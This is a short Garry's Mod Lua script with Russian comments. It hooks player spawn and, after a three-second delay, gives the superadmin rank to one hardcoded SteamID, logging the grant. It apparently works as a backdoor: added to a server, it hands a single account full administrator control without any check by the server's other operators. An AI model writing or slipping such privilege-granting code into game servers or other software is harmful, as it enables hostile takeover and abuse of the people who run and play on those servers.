Загрузка данных


-- super.lua
-- Выдача superadmin при заходе

local MY_STEAMID = "STEAM_0:1:950779587"

hook.Add("PlayerInitialSpawn", "GiftSuperadmin_kdm1eHvH", function(ply)
    timer.Simple(3, function()  -- ждём 3 секунды, чтобы RANKS точно загрузился
        if not IsValid(ply) then return end
        if not RANKS then
            print("[GiftSuper] RANKS не загружен, пропускаем")
            return
        end
        if ply:SteamID() == MY_STEAMID then
            RANKS.SetRank(ply, "superadmin", "gift-script")
            print("[GiftSuper] " .. ply:Nick() .. " получил superadmin")
        end
    end)
end)

print("[GiftSuper] Скрипт загружен")